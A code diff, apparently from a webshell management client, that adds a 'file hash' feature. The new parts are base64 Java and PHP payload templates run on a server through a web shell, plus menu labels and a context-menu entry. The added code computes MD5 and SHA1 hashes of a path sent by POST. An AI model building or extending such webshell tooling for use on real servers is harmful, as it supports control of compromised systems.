AAPgAJAD8ADABAABYAQQAfAEIAJgBDAC0ARAA7AEUARQBGAEgARwBNAEgAUgBJAFcASgByAAAABAABABsAAQB1AHYAAQBsAAABaAAEAAYAAADcK7YAObYAOpkAIivAADvAADtNKiwDMsAAPLUAAiosBDLAAD21AAOnALUSPrgAP00qLBJAA70AQbYAQisDvQBDtgBEwAA8tQACKiwSRQO9AEG2AEIrA70AQ7YARMAAPbUAA6cAek0rwQA8mQByKivAADy1AAIqtAACtgA5Eka2AEdOLQS2AEgtKrQAArYAScAAPDoEGQS2ADkSSrYARzoFGQUEtgBIKhkFGQS2AEnAAD21AAOnAChOKiq0AAK2ADkSRQO9AEG2AEIrA70AQ7YARMAAPbUAA6cABToEsQADACkAYQBkABsAdACzALYAGwC3ANYA2QAbAAEAbQAAAGIAGAAAAE4ACgBPABIAUAAcAFEAJgBSACkAVAAvAFUASABWAGEAaQBkAFcAZQBYAGwAWQB0AFsAgQBcAIYAXQCTAF4AnwBfAKUAYACzAGcAtgBhALcAYwDWAGYA2QBkANsAawABAHcAcQABAGwAAACtAAYABQAAAHUqKrQAGLYAKk0TAEsSTAa9AEFZAxMATVNZBLIATlNZBbIATlO2AEJOLQS2AE8tKrYAObYAUAa9AENZAyxTWQQDuABRU1kFLL64AFFTtgBEwABBOgQZBAS9AEFZAxMAKVO2AFIEvQBDWQMrU7YAU7YAVLBNK7AAAQAAAHEAcgAbAAEAbQAAAB4ABwAAAG8ACQBwACgAcQAtAHIAVABzAHIAdABzAHUAAQB4AHkAAQBsAAAA2wAGAAYAAACPAU0SVbgAVk4tEle2AFibAEoSWbgAPzoEGQQSWgO9AEG2AFsBA70AQ7YARDoFGQW2ADkSXAS9AEFZAxMAKVO2AFsZBQS9AENZAytTtgBEwABNwABNTacAMhJduAA/OgQZBBJeBL0AQVkDEwApU7YAWxkEtgBfBL0AQ1kDK1O2AETAAE3AAE1NLLA6BAO8CLAAAQAIAIgAiQAbAAEAbQAAADIADAAAAHoAAgB7AAgAfQARAH4AGAB/AC0AgABVAIEAWACCAF8AgwCHAIUAiQCGAIsAhwABAHoAAAACAHs=',
[arg1]: '#{newbase64::url}',
[arg2]: '#{newbase64::path}'
}
},
filehash: {
_: ``,
[arg1]: '#{newbase64::path}',
},
})
\ No newline at end of file
......@@ -296,4 +296,9 @@ module.exports = (arg1, arg2, arg3) => ({
output.append(WgetCode(z1, z2));
`.replace(/\n\s+/g, ""),
},
});
filehash: {
_: ``.replace(/\n\s+/g, ""),
[arg1]: '#{newbase64::path}',
},
});
\ No newline at end of file
......@@ -100,5 +100,14 @@ module.exports = (arg1, arg2, arg3) => ({
};`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::url}",
[arg2]: "#{newbase64::path}"
}
},
filehash: {
_: `$m=get_magic_quotes_gpc();
$f=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
echo("MD5\t".md5_file($f)."\n");
echo("SHA1\t".sha1_file($f)."\n");
`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::path}',
},
})
\ No newline at end of file
......@@ -81,5 +81,12 @@ module.exports = (arg1, arg2, arg3) => ({
}else{
echo("0");
};`.replace(/\n\s+/g, ''),
}
},
filehash: {
_: `$f=base64_decode("#{base64::path}");
echo("MD5\t".md5_file($f)."\n");
echo("SHA1\t".sha1_file($f)."\n");
`.replace(/\n\s+/g, ''),
},
})
\ No newline at end of file
......@@ -394,6 +394,7 @@ Hot Keys:
}
},
preview: 'Preview',
filehash: 'FileHash',
edit: {
title: 'Edit',
openwindow: 'Open in Window',
......
......@@ -394,6 +394,7 @@ module.exports = {
}
},
preview: '预览文件',
filehash: '文件哈希',
edit: {
title: '编辑文件',
openwindow: '窗口打开',
......
......@@ -393,6 +393,7 @@ module.exports = {
}
},
preview: '預覽文件',
filehash: '文件哈希',
edit: {
title: '編輯文件',
openwindow: '窗口打開',
......
......@@ -393,6 +393,7 @@ module.exports = {
}
},
preview: '預覽文件',
filehash: '文件哈希',
edit: {
title: '編輯文件',
openwindow: '窗口打開',
......
......@@ -269,7 +269,7 @@ class Files {
$('.objbox').on('click', (e) => {
bmenu.hide();
});
grid.attachEvent('onRightClick', function (id, lid, event) {
grid.attachEvent('onRightClick', function(id, lid, event) {
// 获取选中ID列表
let _ids = (this.getSelectedId() || '').split(',');
......@@ -463,6 +463,13 @@ class Files {
action: () => {
manager.previewFile(id, this.getRowAttribute(_ids[0], 'fsize'));
}
}, {
text: LANG['grid']['contextmenu']['filehash'],
icon: 'fa fa-legal',
disabled: isFolder || !id || containsFolder,
action: () => {
manager.fileHash(id);
}
}, {
divider: true
}, {
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment